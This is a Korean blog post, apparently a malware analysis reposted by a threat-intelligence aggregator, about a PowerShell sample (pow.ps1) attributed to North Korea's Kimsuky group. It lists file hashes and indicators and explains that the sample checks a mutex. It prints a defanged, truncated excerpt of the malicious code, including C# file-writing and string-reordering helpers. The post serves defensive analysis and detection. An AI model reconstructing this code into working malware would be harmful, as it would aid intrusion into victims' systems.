lazarusholic

Everyday is lazarus.dayβ

우리 민족의 해킹단체 북한 김수키(Kimsuky) 만든 파워셀 악성코드-pow.ps1(2024.9.23)

2024-10-01, Sakai
http://wezard4u.tistory.com/429289
#Kimsuky

Contents

오늘은 우리 민족의 해킹단체라는 말은 X 소리인 것 잘 알죠! 우리의 주적 북한 해킹 단체 김수키(Kimsuky) 만든 파워셀 악성코드 pow.ps1(2024.9.23)에 대해 글을 적어 보겠습니다.
해당 악성코드는 특정 Mutex를 확인하고 실행되는 악성 코드입니다.
먼저 "123AKs82kA,ylAo2kAlUS2kYkala!" 라는 뮤텍스가 있는지 확인 뮤텍스가 발견되지 않으면 코드가 진행됩니다. 그런 다음 MaintanceLog라는 네임스페이스 내에 C# 클래스를 정의합니다.
먼저 해쉬값은 다음과 같습니다.
파일명:pow.ps1
사이즈:3.54 KB
MD5:c8d589ac5c872b12e502ec1fc2fee0c7
SHA-1:8dd3ff59320a5908f60755232b766c740715d998
SHA-256:751698edee5ec4c46fddaa995f120984dfd551e1f68fc2d0fea7bfe1a8868c83
PowerShell(파워셀) 코드
$IsMutexFree=$false;Try{[Threading.Mutex]$OpenExistingMutex = [Threading.Mutex]:
:OpenExisting("123AKs82kA,ylAo2kAlUS2kYkala!");$IsMutexFree = $false;}Catch [Thr
eading.WaitHandleCannotBeOpenedException] {$IsMutexFree = $true;}
if ($IsMutexFree){
Add-Type -TypeDefinition @"
using System(.)Diagnostics;
using System(.)IO;
using System(.)Reflection;
using System(.)Runtime.InteropServices;
using System(.)Text;
using System(.0)Threading;
using System(.)Windows.Forms;
using Syst(e)m;
namespace Mai(n)tanceLog {
public stati(c) class Program {
public stat(i)c StringBuilder drop_path;
public static Stri(n)gBuilder Log_path;
public static byte[] GetBy(t)es(string str)
{
byte[] bytes = new b(y)te[str.Length * s(i)zeof(char)];
System.Buffer.BlockCo(p)y(str.ToChar(A)rray(), 0, bytes, 0, bytes.Length);
return bytes;
}
pub(l)ic static void Save(L)ogoFile(string LogoName,string data)
{
using (FileStream f(S)tream = File(.)Open(LogoN(a)me, File(M)od
e.Crea(t)e, File(A)ccess.Write))
{
byte[] By(D)ata = GetBytes(data);
fStream.Seek(()2(0), SeekOrigin.End);
fStream.Write(ByD(a)ta, 0, ByData.Length);
fStream(.)Close();
}
}
public static string Reor(d)er_pieces_in_reverse (string str, int count)
{
st(r)ing result_str = "";
strin(g) temp_str = "";
result_(s)tr = str.Substring(0, str.Len(g)th - (cou(n)t - 1)
* (str(.)Length / count));
for(int i = 0; i < c(o)unt - 1; i ++)
{
temp_str …

IoC

8dd3ff59320a5908f60755232b766c740715d998
751698edee5ec4c46fddaa995f120984dfd551e1f68fc2d0fea7bfe1a8868c83
c8d589ac5c872b12e502ec1fc2fee0c7